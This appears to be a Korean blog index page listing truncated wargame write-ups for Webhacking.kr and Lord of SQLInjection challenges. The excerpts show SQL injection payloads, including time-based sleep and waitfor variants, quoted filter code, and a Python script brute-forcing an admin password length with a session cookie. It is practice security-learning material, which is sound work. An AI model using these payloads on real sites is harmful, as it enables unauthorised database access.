본문 바로가기

Wargame(hacking)

(112)
Webhacking.kr : old-53 Write-Up
Webhacking.kr : old-55 Write-Up 문제에 접근하면 초록 몬스터가 등장하며, 마우스에 따라 움직인다. 해당 게임이 Game Over 가 되면 alert()가 발생하고, form 데이터가 전송이 되는 것을 볼 수 있는데, 나의 score 값이 POST request 되는 것을 볼 수 있다. ( 아래와 같이 Game Over가 되도록 js 코드를 조작하였다. ) if(1) {alert('GAME OVER'); sfrm.submit(); } rank.php에 접속해 보자! 여기서는 score에 따른 ranking 점수를 볼 수 있다. 위 그림 2에서 score에 점수를 넣어 전송하면 rank DB에 반영이 된다. 그 이유는 아래 mysql_query에서 확인할 수 있다. ( 내가 입력 한 score=33을 rank page에서 ..
LORD OF SQLINJECTION : iron_golem Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(mysqli_error($db)); echo "query : {$query} "; $_GET[pw] = addslashes($_GET[pw]); $query = "sel..
LORD OF SQLINJECTION : dragon Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'"; echo "query : {$query} "; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("dragon"); 해당 challenge에 해당하는 필터링 조건 및 pass 조건은 위와 같다. 눈에 띄는 점은 query에 #이 들어가 있..
Webhacking.kr : old-46 Write-Up 위의 필터링을 볼때, 공백, % 가 필터링 되어 있어 어떻게 우회를 할지 고민이 좀 됬었다. 우선, SQL Injection 가능성을 파악해본다. ( 물론, 문제 페이지에 대놓고 SQL Injection이라 적혀있긴 하지만.. 말이다. ) lv 를 보면, 숫자로 이루어진 컬럼이란 것을 알 수 있고, lv = 2-1 과 같이 query를 보냈을 때, lv = 1로 계산되어 query가 동작하게 되어, 값이 정상적으로 출력된다. 이제 공백을 어떻게 우회해야 할지 고민해야 한다. %09,%20등 과 같은 형태는 %가 필터링되어 안된다.('%'가 필터링 되어 안되는 것이 아닌, 공백이 필터링 되어 안됨) 그래서 괄호를 사용하기로 했다. 먼저 아래와 같은 payload를 요청해보았다. /?lv=(..
Webhacking.kr : old-05 Write-Up 처음 페이지를 보면, Login 과 join 버튼이 있다. 하지만 join 버튼 클릭 시, 엑세스가 거부된다. Login 버튼 클릭 시, challenge/web-05/mem/login.php 위 URL로 이동되며, 로그인 페이지를 볼 수 있다. 위 그림 1과 같이 다양한 SQL Injection 시도를 했는데, 먹지 않았다. 아래 같은 Time based 도 안된다. 'or 1=1 AND if(1=1,sleep(10),false)# 'or 1=1 AND if (1=1) waitfor delay '0:0:10'# 'or 1=1 AND if 1=1 then BEGIN dbms_lock.sleep(10); END; end if--+ 현재 challenge/web-05/mem/login.php..
Webhacking.kr : old-49 Write-Up level :
LORD OF SQLINJECTION : xavis Write-Up 첫번째 시도 ( Fail ) import requests import string url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw='or id='admin'%26%26length(pw)= " cookies ={'PHPSESSID':"p0cct2pi257sma3qvmjcgbv5cb"} for i in range(100): param=str(i)+"%23" URL = url+param print(URL) response = requests.get(URL, cookies=cookies) if "Hello admin" in response.text: print(i) break id가 admin일 경우 p..